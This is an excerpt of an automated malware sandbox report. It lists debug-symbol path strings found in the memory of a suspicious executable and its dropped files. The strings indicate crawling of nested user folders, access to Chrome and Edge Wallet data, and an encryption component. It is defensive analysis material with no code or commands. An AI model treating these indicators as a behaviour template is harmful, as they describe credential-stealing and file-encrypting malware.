Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: rq0mVjR9ar.exe, 00000006.00000003.2541058577.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2539227981.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\s source: rq0mVjR9ar.exe, 00000006.00000003.2603783323.0000000003495000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2512458072.00000000036B1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512593109.00000000036D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\\c source: rq0mVjR9ar.exe, 00000006.00000003.2603299217.0000000003187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2592996388.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588879640.0000000003779000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\pX source: rq0mVjR9ar.exe, 00000006.00000003.2606686813.0000000003768000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003768000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\! source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\bgjs* source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2512374349.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510630150.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512726674.0000000003394000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\i~>'$ source: rq0mVjR9ar.exe, 00000006.00000003.2582305448.00000000037EA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583406136.00000000037F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\P source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541058577.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\& source: rq0mVjR9ar.exe, 00000006.00000003.2523440020.000000000348F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ation Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\Wk source: rq0mVjR9ar.exe, 00000006.00000003.2591205536.0000000003177000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgjs source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442506929.0000000003429000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442438205.000000000339A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2582305448.000000000383D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588209575.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588577508.000000000382A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\` source: rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: rq0mVjR9ar.exe, 00000006.00000003.2606686813.0000000003768000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003768000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000009.00000002.2182022207.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2178413579.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 0000000A.00000000.2180367922.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: rq0mVjR9ar.exe, 00000006.00000003.2442300607.0000000003361000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: rq0mVjR9ar.exe, 00000006.00000003.2589912658.0000000003734000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2587974255.0000000003734000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2593399957.0000000003739000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\\t source: rq0mVjR9ar.exe, 00000006.00000003.2582692629.000000000318D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574853788.0000000003192000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574509075.0000000003187000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583948558.0000000003198000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\00\nee source: rq0mVjR9ar.exe, 00000006.00000003.2609454306.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: rq0mVjR9ar.exe, 00000006.00000003.2523549479.0000000003141000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511797013.0000000003136000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Segmentation Platform\.pdb\ate\n source: rq0mVjR9ar.exe, 00000006.00000003.2609040229.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2588577508.00000000038B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*s\M source: rq0mVjR9ar.exe, 00000006.00000003.2512374349.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490185293.0000000003379000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2616051890.000000000337E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2289851599.0000000003381000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576322829.0000000003377000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522756809.000000000337D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603639407.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574406401.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2540384372.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576407922.0000000003381000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2592162401.000000000337C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2590511974.000000000337C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510630150.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522462565.0000000003373000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2523588433.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490786376.0000000003381000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582817226.0000000003377000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490720179.000000000337D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522824065.0000000003381000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\NGL\od.pdb\\h\ source: rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\i source: rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\3Ne)9 source: rq0mVjR9ar.exe, 00000006.00000003.2522901917.0000000003763000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541667655.0000000003763000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\o source: rq0mVjR9ar.exe, 00000006.00000003.2521372550.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512532428.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490126885.00000000033BF000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489842001.00000000033AC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512261908.00000000033BF000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510402599.000000000339E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: rq0mVjR9ar.exe, rq0mVjR9ar.exe, 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\cilad\zipidisuyo56\nejinelo su.pdb source: rq0mVjR9ar.exe, 00000000.00000000.2059259395.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000000.00000002.2064620160.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000002.00000000.2062231184.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000005.00000000.2088134440.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000005.00000002.2093722259.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2195328080.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000000.2091176113.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000007.00000000.2104235471.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2111306757.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 00000008.00000000.2108133612.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 0000000C.00000000.2210400947.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2235589545.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 0000000E.00000000.2231002019.0000000000411000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\commerce_subscription_db\d.pdb\a\e source: rq0mVjR9ar.exe, 00000006.00000003.2609040229.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\bwe source: rq0mVjR9ar.exe, 00000006.00000003.2442325185.00000000031A5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2294613689.00000000031A5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2289935000.00000000031A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: rq0mVjR9ar.exe, 00000006.00000003.2190669398.00000000097E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442438205.000000000339A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\fr-CA\_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2612044601.0000000003859000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2608757399.0000000003839000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2609220358.000000000384A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: rq0mVjR9ar.exe, 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: rq0mVjR9ar.exe, 00000006.00000003.2490094989.0000000003152000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490159295.0000000003158000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441990099.000000000315A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003147000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490428718.0000000003159000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512458072.00000000036B1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512593109.00000000036D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\&s source: rq0mVjR9ar.exe, 00000006.00000003.2442544469.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003147000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000000.2222553378.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000002.2319042140.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\b( source: rq0mVjR9ar.exe, 00000006.00000003.2490094989.0000000003152000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2290140292.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442544469.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2295644249.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490428718.0000000003156000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003147000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\ source: rq0mVjR9ar.exe, 00000006.00000003.2592996388.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588879640.0000000003779000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ow\:* source: rq0mVjR9ar.exe, 00000006.00000003.2588209575.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588577508.000000000382A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2522901917.0000000003763000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541667655.0000000003763000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2591676063.0000000003495000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2592162401.000000000337C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2590511974.000000000337C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\*my source: rq0mVjR9ar.exe, 00000006.00000003.2290140292.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2295644249.000000000314A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\kc source: rq0mVjR9ar.exe, 00000006.00000003.2576930797.000000000336E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574406401.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583009050.0000000003363000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\* source: rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490590694.0000000003373000.00000004.00000020.00020000.00000000.sdmp
